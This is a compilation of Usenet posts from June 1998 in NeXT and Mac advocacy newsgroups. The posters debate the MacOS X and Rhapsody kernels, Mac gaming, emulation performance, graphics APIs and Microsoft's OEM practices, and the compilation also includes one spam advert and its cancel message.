References: <6lvsob$ni$1@supernews.com> <6m2uto$b7k$1@ns3.vrx.net> <35862ad9.0@206.25.228.5> <6m6d9h$8d81@odie.mcleod.net> <slrn6odnt9.ckr.sal@panix3.panix.com> <6m68ie$fg$1@ns3.vrx.net> <6m6u1h$o8d$1@cronkite.cygnus.com> <6m6gbe$fg$5@ns3.vrx.net>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <35878565.0@206.25.228.5>
Date: 17 Jun 98 08:59:17 GMT
> In <6m6uf2$o8d$2@cronkite.cygnus.com> John Rudd claimed:
> > While Solaris is not as "high availability" as a Stratus box,
> > it is still used in high end servers.. one kernel binary is
> > quite configurable for a wide range of deployment options.
> > But it is still "the same mach kernel" for any of those 3 cases.
maury@remove_this.istar.ca (Maury Markowitz) wrote:
> But not in the case of the original message.
maury@remove_this.istar.ca (Maury Markowitz) wrote:
> I think you're missing my point. My point is that a client OS
> and a server OS are not the same thing. That was the claim.
> John Kheit wrote in message <35862ad9.0@206.25.228.5>...
> >It's the same mach kernel.
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
From: "Ed Deans." <eadeans@san.rr.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <Nu6g1.3687$Nr5.1864654@proxye1.san.rr.com> <6m4lci$m6g$1@suriname.it.earthlink.net>
Subject: Re: MacOS X for G3 *ONLY*
Message-ID: <3pOh1.5874$pr4.2791358@proxye1.san.rr.com>
Date: Wed, 17 Jun 1998 12:12:47 GMT
NNTP-Posting-Date: Wed, 17 Jun 1998 05:12:47 PDT
Organization: TWC Road Runner, San Diego, CA
Ziya Oz wrote in message <6m4lci$m6g$1@suriname.it.earthlink.net>...
>In article <Nu6g1.3687$Nr5.1864654@proxye1.san.rr.com> , "Ed Deans."
><eadeans@san.rr.com> wrote:
>
>>Also demoed by Apple were the Powerbook G3 with Virtual PC 2.0 running NT
>>Server (to serve the mini-network)
>
>How was the speed of that?
IIRC, the PowerBook was 250mhz, with 32MB RAM, 4MB VRAM and the 13.3" screen
not the scarce 14".
Screen-redraw speed lept out at me. Being familiar with SoftWindows on an
8500 and various PC's running Win95 today from a '486-100 to PII's. It was
*quite* impressive for emulation. I'd guess it will run at high Pentium MMX
speeds perhaps even into the AMD K6 range although it's tough to say because
I'm not sure how much of a resource hog NT Server 4 is vs. Win9x which is
probably what most people would want to run. However, in my experience NT
Workstation is generally not as snappy as Win9x on the same hardware which
left me with a good impression of what the PB G3's can do.
Word 97 loaded a couple seconds slower than on this PII-266 which I'm one
right now and a couple seconds slower than the Mac Office 98 version of
Word. Explorer was snappy.
From what I saw, I wouldn't hesitate to get a PB G3 with VPC for doing real
work. Included Ethernet and S-video out was nice to hear.
This is clearly a desktop-level performance notebook.
--Ed.
If I just had the $$$...
Date: Wed, 17 Jun 1998 08:34:57 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Message-ID: <joe.ragosta-1706980834580001@wil36.dol.net>
References: <6m2cji$moo$2@supernews.com> <B1AACAA1-22258@206.165.43.7> <rmcassid-1506981506530001@dante.eng.uci.edu> <*johnnyc*-1506982043530001@jchristie.halifaxcable.dal.ca> <cirby-1506982105400001@pm55-36.magicnet.net> <*johnnyc*-1606980023330001@jchristie.halifaxcable.dal.ca> <cirby-1606981022490001@pm61-38.magicnet.net> <see-below-1606982248520001@dynamic2.pm04.mv.best.com>
In article <see-below-1606982248520001@dynamic2.pm04.mv.best.com>,
see-below@not-my-address.com (Matthew Vaughan) wrote:
> In article <cirby-1606981022490001@pm61-38.magicnet.net>,
> cirby@magicnet.net (Chad Irby) wrote:
>
> > *johnnyc*@or.psychology.dal.ca (John Christie) wrote:
> >
> > > cirby@magicnet.net (Chad Irby) wrote:
> > >
> > > > Not really. The Playstation isn't really that high-powered in real
> > > > terms. Nothing like the N64, for example.
> > >
> > > I didn't say it was. However, emulating it takes multiples of that
> > > performance.
> >
> > Not particularly. Look at the relative speed of some of the non-PPC
> > emulation in the Mac itself, for example. If a Power Mac can emulate a
> > non-RISC 68K processor at reasonable speed, the relative speed of a
> > RISC-type processor shouldn't be that much of an iassue.
>
> Hmm. I think on PowerMacs, emulating either 68k or x86 code has typically
> run about 1/5th to 1/10th as fast as it would on native hardware. I'm not
> sure that RISC vs. CISC in the processor being emulated is much of an
> issue.
A good rule of thumb is that emulation approaches 1/4 with a good
emulator. That's probably a rough guess of 680x0 emulation on the dynamic
recompilation PPC emulator. It's also not far off from the performance of
VPC or SoftWindows running PC stuff.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.hardware,comp.sys.next.advocacy
Subject: Re: New Popular Science
Date: 17 Jun 1998 12:34:40 GMT
Organization: P & L Systems
Message-ID: <6m8d50$5mq$1@ironhorse.plsys.co.uk>
References: <6lmhvn$k2i$2@cronkite.cygnus.com> <357F15C6.FE8E3E29@sover.net>
<edewEuEKyo.5GG@netcom.com> <SCOTT.98Jun11163224@slave.doubleu.com>
<6lqa8p$m6c$2@news.xmission.com> <6m0rce$ndd$3@ironhorse.plsys.co.uk>
<slrn6o8u5a.1jv.sal@panix3.panix.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: sal@panix3.panix.com
In <slrn6o8u5a.1jv.sal@panix3.panix.com> Salvatore Denaro wrote:
> On 14 Jun 1998 15:48:30 GMT, mmalcolm crawford <malcolm@plsys.co.uk> wrote:
> >I agree with Scott's critique, though, and Salvatore's comment on the
> >gaudiness of the Rock City cube. On the other hand, what might be cool
would
> >be a "cube" with real Gaudi'-ness, although I'm sure it wouldn't be
cubic...
>
> What about a Dali-esque half melted cube? Or a Frank Loyd Wright
"falling-water"
> style cantilever cube?
>
Falling Water might be a bit tricky, but you could do the face of the VC
Morris Gift Shop easily enough (the doorway becomes the space for the
floppy). The Guggenheim Museum might be fun too... of course my favourite
would be the Imperial Hotel, but that would just be getting silly :-)
Best wishes,
mmalc.
(Saddened to see that the Marin County Civic Center doesn't seem to be using
his photo any more.)
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 17 Jun 1998 12:58:04 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6m8egs$8nt$1@news.cs.tu-berlin.de>
References: <6m7jd7$i9k$1@news.cs.tu-berlin.de> <B1ACC6C2-1CAFE@206.165.43.137>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
"Lawson English" <english@primenet.com> writes:
>Quadratic Beziers can be handled using nothing but shifts and rotates.
>What's the most efficient strategy for handling cubic Beziers?
Shifts and adds. Forward differencing...
Marcel
Date: Wed, 17 Jun 1998 08:57:50 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Message-ID: <joe.ragosta-1706980857500001@wil36.dol.net>
References: <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <tvyg1i6unnj.fsf@cn1.connectnet.com> <6jtgie$vp6$6@ligarius.ultra.net> <35d0ab0c.360543981@news.supernews.com> <6k6tda$omk$1@ligarius.ultra.net> <357a9125.86089126@news.supernews.com> <6l72if$mp9$1@news.smart.net> <6lfsck$1vga@yuma.ACNS.ColoState.EDU> <357C032E.C373357D@nstar.net> <3591af5a.5318472@news.supernews.com> <357DEB64.6B62@CONVEX.COM> <35967e0e.17663365@news.supernews.com> <35800D69.C7F8B8E1@nstar.net> <6lpvl2$26g6@yuma.ACNS.ColoState.EDU> <35809E8C.8E3F239A@nstar.net> <rmcassid-1206980004350001@dialin9229.slip.uci.edu> <358130D4.372EFBEB@nstar.net> <rmcassid-1206981443290001@dante.eng.uci.edu> <3581B5E4.27A5303B@nstar.net> <rmcassid-1306980235180001@dialin33422.slip.uci.edu> <rmcassid-1506981103570001@dante.eng.uci.edu>
In article <rmcassid-1506981103570001@dante.eng.uci.edu>, rmcassid@uci.edu
(Robert Cassidy) wrote:
> In article <rmcassid-1306980235180001@dialin33422.slip.uci.edu>,
> rmcassid@uci.edu (Robert Cassidy) wrote:
>
> Sorry to follow up to my own post...
>
> >Defeated. So they haven't banned it, have they? I suspect that virtually
> >_anything_ has been proposed to be banned at one time or another. That's
> >why we have state's representatives, people's representatives, and a
> >system of checks and balances.
>
> I learned yesterday that a bill was once introduced in Maine in the early
> part of this century that would have made it illegal to add tomatoes to
> clam chowder in that state. Defeated, of course.
What do you mean "of course"? Adding tomatoes to clam chowder _ought_ to
be illegal.
;-)
>
> So, yes, I continue to assert that virtually _anything_ has been proposed
> to be banned at one time or another. That does not suggest that our system
> of government is nessarily flawed. Now, if they had all passed, that'd be
> a different matter...
>
> -Bob Cassidy
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: "3d4fun-4" <philip@3d4fun.com>
Subject: 3D Pix & Glasses!!
Date: Wed, 17 Jun 1998 21:35:21 +0900
Message-ID: <Mj$CR3em9GA.243@news4.netsgo.com>
Newsgroups: comp.sys.next.advocacy
You can view this pix in Real 3D!!!
Click Here!
http://3d4fun.com
You too can make 3D pictures, graphics, animations, games by meeting us.
Thank You.
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1UH 7)R*8AQ^\*!#ATH __]D`
`
end
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <Mj$CR3em9GA.243@news4.netsgo.com>
Control: cancel <Mj$CR3em9GA.243@news4.netsgo.com>
Date: 17 Jun 1998 13:11:16 GMT
Organization: BOFH Space Command, Usenet Division
Message-ID: <cancel.Mj$CR3em9GA.243@news4.netsgo.com>
Sender: "3d4fun-4" <philip@3d4fun.com>
Article cancelled as EMP/ECP, exceeding a BI of 20.
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Please include the X-CosmoTraq header of this message in any correspondence
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From: Tim Triemstra <nospam@nospam.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Where is all the mac software????
Date: Wed, 17 Jun 1998 09:15:11 -0700
Organization: PM Global Foods, LLC
Message-ID: <3587EB8F.82D8A522@nospam.com>
References: <Pine.SUN.3.96.980602160659.18758B-100000@voyager.cris.com> <mNOSPAMroeder-0206981658270001@192.168.21.176> <35749ed6.0@206.25.228.5> <mNOSPAMroeder-0306981149160001@192.168.21.176> <35771d95.13913887@news.supernews.com> <stone-ya02408000R1106981346290001@news.enetis.net>
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Kevin Stone wrote:
>
> That someone should choose their platform souly on the basis of games, is
> IMHO childish. Fortunately, I think when you look at the facts, very few
> users actualy do choose their platform based on how many games it runs. So
> in essence, you're right. It is one of the reasons why people buy
> computers... it is not generaly one of the reasons why people choose a Mac
> or PC. Both platforms run tons of games.
I agree that is seems like a silly reason, but consider this: Quicken is
available on both systems, both systems have office suites and can
access the Internet. Despite all the huffing and puffing from Apple
about speed (not saying they are lying or anything) most people wouldn't
really notice the speed quite honestly. On a new $2000 PC you can still
get good video, a spreadsheet is damn fast, etc. So, what do people do
when they walk into CompUSA or any other store?... they look at the
games for their kids or themselves, they look at the gizmos (game toys
included) and they see ALOT more for the PC. There are some good games
for the Mac, but few aren't also on the PC. The same doesn't go the
other way. I like Macs, but own a PC. I wouldn't want to give up my
Voodoo2 card and my versions of Quake or Unreal or other stress
relievers. I also wouldn't want to lose Lotus SmartSuite or JBuilder.
I look forward to the day when Yellow Box is on Intel and I can start to
develop for both platforms and use either computer, but right now I
can't. Many people feel this same way, and games ARE a big part of it
:)
--
Tim Triemstra . TimT at PMGLOBAL dot COM
PM Global Foods, LLC ... Atlanta GA USA
My home page: www.mindspring.com/~timtr
From: roger@. (Roger)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 17 Jun 1998 13:52:24 GMT
Organization: gte.net
Message-ID: <6m8hbo$8l6$3@news-2.news.gte.net>
References: <6l72if$mp9$1@news.smart.net> <6lfsck$1vga@yuma.ACNS.ColoState.EDU> <357C032E.C373357D@nstar.net> <3591af5a.5318472@news.supernews.com> <357DEB64.6B62@CONVEX.COM> <35967e0e.17663365@news.supernews.com> <35800D69.C7F8B8E1@nstar.net> <6lpvl2$26g6@yuma.ACNS.ColoState.EDU> <35809E8C.8E3F239A@nstar.net> <6lqjii$1dmi@yuma.ACNS.ColoState.EDU> <35812C92.20DA6D16@nstar.net> <6ls4hn$ga6@yuma.ACNS.ColoState.EDU> <3581A52E.9FD3DB3C@nstar.net> <6m1m3g$2cms@yuma.ACNS.ColoState.EDU>
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On 14 Jun 1998 23:24:32 GMT, someone claiming to be Larry Pyeatt
wrote:
>In article <3581A52E.9FD3DB3C@nstar.net>,
> "Michael J. Peck" <mjpeck@nstar.net> writes:
>> Larry Pyeatt wrote:
>>> MS compells and constrains OEMs to sell ONLY MS operating systems.
>> No, it does not. Read the licensing agreements. OEMs are in *no way*
>> forced to sell MS operating systems. VA Research is only one example of
>> an OEM that does NOT sell MS operating systems.
>Yes, and as a result, they have a very small market. If they wanted
>to have a larger market, they would sell MS operating systems. In
>which case, they would be forced by MS to sell ONLY MS operating systems.
No, they wouldn't. Any OEM agreements of which I am aware do not
prohibit the OEM from selling any OS they want.
Which OEM has signed this kind of agreement?
>The larger companies, who are competing for a bigger piece of the pie
>all have to sign exclusive contracts with MS.
>http://www.essential.org/antitrust/ms/jun3survey.html
All this shows is that salesdroids are relaying misinformation. This
survey has been rebutted elsewhere.
From: roger@. (Roger)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 17 Jun 1998 13:54:08 GMT
Organization: gte.net
Message-ID: <6m8hf0$8l6$4@news-2.news.gte.net>
References: <35d0ab0c.360543981@news.supernews.com> <6k6tda$omk$1@ligarius.ultra.net> <357a9125.86089126@news.supernews.com> <6l72if$mp9$1@news.smart.net> <6lfsck$1vga@yuma.ACNS.ColoState.EDU> <357C032E.C373357D@nstar.net> <6lhoug$2jua@yuma.ACNS.ColoState.EDU> <357C76BF.721F47E9@nstar.net> <3592b27c.6120162@news.supernews.com> <6lrj04$hlm$15@gte1.gte.net> <35dc16d0.253413303@news.supernews.com> <6m3270$s38$19@news-1.news.gte.net> <359afda6.5780562@news.supernews.com>
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On Tue, 16 Jun 1998 05:08:50 GMT, someone claiming to be T. Max Devlin
wrote:
>roger@. (Roger), on Mon, 15 Jun 1998 11:59:41 GMT,
>>Could you please provide a message ID to this reasoned and logical
>>substantiation? That post has yet to make it to my server.
>Sorry, no, I can't. But we could negotiate access to my server, and
>then you could download my entire 300 megabyte outbox...
IOW, Max never has posted reasoned and logical substantiation of
anything. But then, we all knew that...
Date: Wed, 17 Jun 1998 09:56:05 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Games and the consumer market.
Message-ID: <joe.ragosta-1706980956050001@wil66.dol.net>
References: <jdoherty-1306980132070001@aus-tx22-02.ix.netcom.com> <B1A80B74-46BBE@206.165.43.23> <jdoherty-1406980213150001@san-tx3-06.ix.netcom.com> <slrn6o7p0o.sk2.sal@panix3.panix.com> <35848D6B.B7C60F36@spamtoNull.com> <slrn6o9557.av9.sal@panix3.panix.com> <njcosta-ya02408000R1506980112460001@news.earthlink.net> <6m30i7$b7k$5@ns3.vrx.net> <cirby-1506981527110001@pm53-28.magicnet.net> <6m444r$rcu2@onews.collins.rockwell.com>
In article <6m444r$rcu2@onews.collins.rockwell.com>,
embuck@palmer.cca.rockwell.com (Erik M. Buck) wrote:
> In <cirby-1506981527110001@pm53-28.magicnet.net> Chad Irby wrote:
> > > Games on the Mac are in horribly serious trouble.
> >
> > Not really. A lot of companies have noticed that they can go into the PC
> > market, and fight a half-dozen bigger companies for shelf space, or come
> > out with a Mac title, and have *no* competition.
> >
> No competition AND NO shelf space. Retail (volume) distributors are not
> interested in a game that may sell to .5 percent of 4 percent of the market
> for game consumers. Games are retail products and frequently holiday related
> impulse buys.
Of course, your numbers are ridiculous. Mac sales have recently been in
the range of 15% of all software sales.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Wed, 17 Jun 1998 09:57:46 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Message-ID: <joe.ragosta-1706980957460001@wil66.dol.net>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <3585E616.CA974A8D@spamtoNull.com>
In article <3585E616.CA974A8D@spamtoNull.com>, Jonathan Harker
<Limeyville@spamtoNull.com> wrote:
> Lawson English wrote:
> >
> >
> > And this could be remedied if they created "personality cards" for the 3D
> > accelerator and other hardware features. If you wanted a faster 3D option,
> > you could take it to the local Mac dealer and have him/her upgrade it for a
> > modest fee.
> >
> > Even gives Jobs his anal-retentive full control of hardware that he so
> > dearly loves.
> >
>
>
> Yes, but then how could Apple do a $600 box and sell it for $1200?....:)
> Answer: you leave out a *lot* of stuff....:) It's good old Stevie seeing
> sugar plums dancing in his head again....
A $600 box selling for $1200? I somehow doubt that the gross margins will
be anywhere in that range. But if they are, it's even better for Apple.
You don't determine your selling price based on cost. You determine it
based on the market. And, at $1,299, the iMac is very competitive.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Wed, 17 Jun 1998 09:58:55 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Message-ID: <joe.ragosta-1706980958550001@wil66.dol.net>
References: <6m2cji$moo$2@supernews.com> <B1AACAA1-22258@206.165.43.7> <rmcassid-1506981506530001@dante.eng.uci.edu>
In article <rmcassid-1506981506530001@dante.eng.uci.edu>, rmcassid@uci.edu
(Robert Cassidy) wrote:
> In article <B1AACAA1-22258@206.165.43.7>, "Lawson English"
> <english@primenet.com> wrote:
>
> >That rumored (very rumored) Playstation emulator would be very nice,
> >however. If iMac could run every Playstation game out-of-the-box, that
> >would be a HUGE selling point, I think.
>
> Yeah, in terms of rumors these days, that one is *really* sweet and seems
> quite reasonable. Even seems as though Sony would endorse it...
Sure. It sounds great. But I'd be very surprised if it ever happens.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Games and the consumer market.
Date: 17 Jun 1998 09:42:23 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6m831v$dbl$1@ns3.vrx.net>
References: <jdoherty-1306980132070001@aus-tx22-02.ix.netcom.com> <B1A80B74-46BBE@206.165.43.23>
<jdoherty-1406980213150001@san-tx3-06.ix.netcom.com> <slrn6o7p0o.sk2.sal@panix3.panix.com>
<35848D6B.B7C60F36@spamtoNull.com> <slrn6o9557.av9.sal@panix3.panix.com>
<njcosta-ya02408000R1506980112460001@news.earthlink.net> <6m30i7$b7k$5@ns3.vrx.net>
<cirby-1506981527110001@pm53-28.magicnet.net> <6m3hlg$n2m$1@ns3.vrx.net>
<see-below-1606982219310001@dynamic2.pm04.mv.best.com>
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Cc: see-below@not-my-address.com
In <see-below-1606982219310001@dynamic2.pm04.mv.best.com> Matthew Vaughan
claimed:
> > Try asking people who write _new_ titles as their main source of income
to
> > see what THEY think. or better yet, go to ANY big gaming page and look
at
> > the number of reviews, see how many run on the Mac.
>
> True, but it looks even worse than it really is, since those pages
> virtually never mention there's a Mac version even if there is one. If you
> only read those pages, you'd think Myth: The Fallen Lords was a
> Windows-only title.
Sure, but the same is true if you go to a store.
> Falcon 4 is coming to the Mac. :)
By whom? Is there a date set? I'd love to get it.
> But you're entirely correct, commercial Mac-only game development has come
> to a standstill, and simultaneous releases and ports are also pretty
> scarce.
The question is what to do about it. I think we need two things, one is an
API set similar even to DX to make ports easy. The other is a good shell,
maybe in YB.
Maury
From: "Raffael Cavallaro" <raffael@pop.tiac.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody! Oh no! They've Osborned Rhapsody!
Date: Wed, 17 Jun 1998 10:27:14 -0400
Organization: The Internet Access Company, Inc.
Message-ID: <6m8jqk$7rv@news-central.tiac.net>
References: <1daqn7l.1gvycs7414ru6N@dialup116-1-29.swipnet.se> <B1AC4CB9-13EA4@206.165.43.4> <6m72rr$8q5$1@cronkite.cygnus.com>
John Rudd wrote in message <6m72rr$8q5$1@cronkite.cygnus.com>...
>If my guess is correct, you can bet that Apple will definitely do another
>"end of life time" with MacOS 11.
Yeah, but the bright side is that, at current development rates, MacOS 11
won't ship until 2009, so your G3 Mac will run all of Apples OS offering for
a full decade! Frankly, I'd be *very* surprised if MacOS X ships before the
end of 1999, but then, I remember Copland, and Pink, and Dylan, and ...
Raf
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X Confusion
Date: 17 Jun 1998 09:56:47 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6m83sv$dbl$3@ns3.vrx.net>
References: <6lvsob$ni$1@supernews.com> <6m2uto$b7k$1@ns3.vrx.net>
<35862ad9.0@206.25.228.5> <6m6d9h$8d81@odie.mcleod.net>
<6m6uf2$o8d$2@cronkite.cygnus.com> <6m6gf0$fg$6@ns3.vrx.net>
<6m742i$8q5$2@cronkite.cygnus.com>
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Cc: jrudd@cygnus.com
In <6m742i$8q5$2@cronkite.cygnus.com> John Rudd claimed:
> Your original comments boil down to "can Mach (the kernel in Rhapsody and
> MacOS X) scale from a single user desktop box to a departmental server?"
No. If that's how it came across I didn't explain it well. My original
points are...
a) the Rhapsody kernel is not the same kernel as the MacOS-X kernel
b) kernels change across problem boundaries, Novell's kernel would be a poor
desktop OS for instance
> The question is "how well does Mach scale from desktop to server" and the
> answer is "quite well".
That's _not_ what I was replying to.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X Confusion
Date: 17 Jun 1998 09:53:05 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6m83m1$dbl$2@ns3.vrx.net>
References: <6lvsob$ni$1@supernews.com> <6m2uto$b7k$1@ns3.vrx.net>
<35862ad9.0@206.25.228.5> <6m6d9h$8d81@odie.mcleod.net>
<slrn6odnt9.ckr.sal@panix3.panix.com> <6m68ie$fg$1@ns3.vrx.net>
<6m6u1h$o8d$1@cronkite.cygnus.com> <6m6gbe$fg$5@ns3.vrx.net>
<6m7ltq$kd8$1@news.cs.tu-berlin.de>
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Cc: marcel@cs.tu-berlin.de
In <6m7ltq$kd8$1@news.cs.tu-berlin.de> Marcel Weiher claimed:
> As it stands now, that claim is correct, it is the status quo. However,
> that status quo is purely a historical artifact.
Balogna. Would you suggest that OSF/1 is a good OS for handheld devices?
How about QnX on the desktop?
> Why should a client OS crash?
What does that have to do with anything?
> Why should a server OS have a crappy UI?
What does that have to do with anything?
The differences have to do with things like the kernel and the software
bundle.
> UNIX was not created as a server OS, it was intended for 'personal'
> computers running text processing tools and playing space wars.
I'd hardly call a PDP-11 a "personal computer".
Maury
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacWeek Article on Future of Rhapsody
Date: 17 Jun 1998 14:34:08 GMT
Organization: P & L Systems
Message-ID: <6m8k50$5mq$2@ironhorse.plsys.co.uk>
References: <vik-0806981034470001@p20.hwts04.loop.net> <6lrcps$b9@nntp02.primenet.com>
<6lrdjs$ks8$1@crib.corepower.com> <6lsf8c$6bc@nntp02.primenet.com>
<6lvkg4$msk$1@crib.corepower.com> <6m0kg4$khs@nntp02.primenet.com>
<6m13tr$ndd$4@ironhorse.plsys.co.uk> <6m1eq1$hkq@nntp02.primenet.com>
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Cc: jjens@primenet.com
In <6m1eq1$hkq@nntp02.primenet.com> John Jensen wrote:
> It's a question of degree. "MacOS 8 is MacOS" to a much greater degree
> than "Windows is DOS" or "OS/2 is Windows". I don't think lineage alone
> answers the question. You probably have to judge how much of a paradigm
> or domain shift has occured.
>
So why is "MacOS X is MacOS" a better description than "MacOS x is Rhapsody";
there is a lot less of a paradigm shift between MacOS and Rhapsody than
between MacOS X and MacOS.
mmalc.
From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Where is all the mac software????
Date: Wed, 17 Jun 1998 08:40:59 +0100
Organization: EarthLink Network, Inc.
Message-ID: <35877308.6FE3@earthlink.net>
References: <Pine.SUN.3.96.980602160659.18758B-100000@voyager.cris.com> <mNOSPAMroeder-0206981658270001@192.168.21.176> <35749ed6.0@206.25.228.5> <mNOSPAMroeder-0306981149160001@192.168.21.176> <35771d95.13913887@news.supernews.com> <stone-ya02408000R1106981346290001@news.enetis.net>
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While I wish there were more Mac games, that is not a factor for me
personally buying a Mac. You want games...buy a Playstation! (by the
way rumor has it that Apple now has a Playstation emulator that runs
faster than the sony unit!).
Steve
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 17 Jun 1998 10:42:05 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6m86ht$dbl$7@ns3.vrx.net>
References: <jdoherty-1506982009120001@aus-tx22-16.ix.netcom.com> <B1AB407C-13A1B@206.165.43.221>
<jdoherty-1606982025390001@aus-tx17-17.ix.netcom.com>
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Cc: jdoherty@ix.netcom.com
In <jdoherty-1606982025390001@aus-tx17-17.ix.netcom.com> John Doherty
claimed:
> They developed GX, offered it to the world, and the world, by and large,
> said, "Who cares?" Not even 1% of this is the world's fault. It's Apple's
> fault, plain and simple. They spent a bunch of money and time developing
> technology that didn't do them or their users any good in the end.
It's a perfect example of what was wrong with Apple, the "all or nothing"
change. Had they instead followed an evolutionary route we'd all be running
it now and none of us would know. GX's biggest problem was that it was GX,
had it been "CQD 5.2" - now with curves, and then "EQD 6.0" - now with fp,
then slowly the system would have gained acceptance.
Indeed there were problems with QD, but they didn't attempt to fix QD, they
attempted to do something else. That's why I don't mind EQD at all, it's a
logical expansion of QD that doesn't require radically different and
incompatible software to be used. To even think about using GX in any normal
program you had to include two sets of code, one for GX and one for QD.
Lawson simply refuses to accept that this was a MASSIVE problem for
developers.
Maury
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: Wed, 17 Jun 1998 08:46:40 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-1706980846400001@dante.eng.uci.edu>
References: <6m2cji$moo$2@supernews.com> <B1AACAA1-22258@206.165.43.7> <rmcassid-1506981506530001@dante.eng.uci.edu> <*johnnyc*-1506982043530001@jchristie.halifaxcable.dal.ca> <cirby-1506982105400001@pm55-36.magicnet.net> <*johnnyc*-1606980023330001@jchristie.halifaxcable.dal.ca> <cirby-1606981022490001@pm61-38.magicnet.net> <see-below-1606982248520001@dynamic2.pm04.mv.best.com>
In article <see-below-1606982248520001@dynamic2.pm04.mv.best.com>,
see-below@not-my-address.com (Matthew Vaughan) wrote:
>ell, just barely. But think about it, you're talking about a 5-10 times
>performance difference between a P/100 and a G3/300, aren't you? There's a
>much bigger difference between a 100MHz 601 and a 300MHz G3, or a 100MHz
>Pentium and a 300MHz Pentium II than just a factor of 3.
One of the factors that has been favoring emulation recently is the
inclusion of relatively large, very fast caches on the PPC hardware. It
would seem that VPC runs a good sight faster on a PPC with a 1MB L2 cache
vs. a 512K. The speed of the cache seems to be less of an issue, but does
add to performance. So there are other factors at work here.
Remember when the 603 chip came out and 68k performance was _horrible_,
presumably because the 68k emulator could not fit into the small cache
that it had. The 603e had a larger cache that remedied the problem.
-Bob Cassidy
From: Henry McGilton <henry@trilithon.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Font formats (was OS strategy)
Date: Wed, 17 Jun 1998 08:42:56 -0700
Organization: Trilithon Research and Trading
Message-ID: <3587E400.9C9D5DB0@trilithon.com>
